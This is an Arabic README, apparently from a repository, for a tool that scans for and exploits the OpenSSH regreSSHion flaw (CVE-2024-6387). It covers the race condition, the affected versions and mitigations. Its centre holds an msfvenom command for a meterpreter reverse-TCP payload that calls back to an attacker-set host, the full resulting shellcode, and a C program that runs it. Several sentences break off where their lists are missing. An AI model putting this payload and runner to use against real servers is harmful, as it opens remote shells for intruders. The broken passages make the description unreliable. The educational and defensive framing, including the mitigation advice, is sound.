
# أداة استغلال وفحص لثغرة CVE-2024-6387 (regreSSHion) في OpenSSH تتضمن اكتشاف الثغرة، واستغلال تنفيذ الأكواد عن بُعد (RCE)، وتوليد شيلكود (shellcode) لاختبارات الاختراق المصرح بها وبيئات المختبرات.
استغلال CVE-2024-6387
أداة لتحليل واكتشاف وإجراء اختبارات مضبوطة للثغرة CVE-2024-6387 في خوادم OpenSSH.
هذا المستودع تعليمي حصريًا.
استخدمه فقط في:
- المختبرات (HTB, TryHackMe)
- البيئات الخاصة
- عمليات التدقيق بتفويض صريح
⚠️ فحص أو استغلال الأنظمة دون إذن أمر غير قانوني.
هذا المحتوى موجّه للدفاع والتعلّم.
CVE-2024-6387، المعروفة باسم regreSSHion، هي انتكاسة لثغرة تم إصلاحها سابقًا في عام 2006 (CVE-2006-5051).
أُعيد تقديمها في OpenSSH 8.5p1 (2020) وتتيح:
توجد أيضًا ثغرة ذات صلة:
تعتمد الثغرة على حالة سباق (race condition) في معالج الإشارات الخاص بـ sshd.
LoginGraceTime (الافتراضي: 120 ثانية)SIGALRMsyslog()malloc()free()قد يؤدي ذلك إلى:
| الحالة | الإصدارات | ملاحظات |
|---|---|---|
| ⚠️ عُرضة | < 4.4p1 | إذا لم يكن لديهم التصحيح القديم |
| ✅ آمن | 4.4p1 → < 8.5p1 | تم إصلاحه سابقًا |
| ⚠️ عُرضة | 8.5p1 → < 9.8p1 | الانتكاسة موجودة |
| ✅ مُصحَّح | >= 9.8p1 | التصحيح الرسمي |
🛡️ OpenBSD ليس عرضة للثغرة بفضل حمايات إضافية تم تطبيقها منذ عام 2001.
![]()
##⚙️ الاستخدام python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ التخفيف والمعالجة يُنصح باتّباع هذه الخطوات بشكل عاجل، خاصةً على الأصول المعرّضة للإنترنت : التحديث الفوري: تحديث OpenSSH إلى 9.8p1 أو تطبيق التصحيحات الخاصة بكل توزيعة . إعداد sshd: إذا لم يكن التحديث ممكنًا، فاضبط LoginGraceTime 0 في ملف /etc/ssh/sshd_config . تحذير: يمنع هذا استغلال RCE، لكنه يعرّض الخادم لحرمان من الخدمة (DoS) بسبب استنزاف الاتصالات . التحكم في الوصول: تقييد الوصول إلى SSH عبر ضوابط قائمة على الشبكة (جدران حماية/VPN) وتقسيم الشبكة لتجنّب الحركة الجانبية .
Kaleth Corcho
هندسة النظم · WolvesTI · بوغوتا، كولومبيا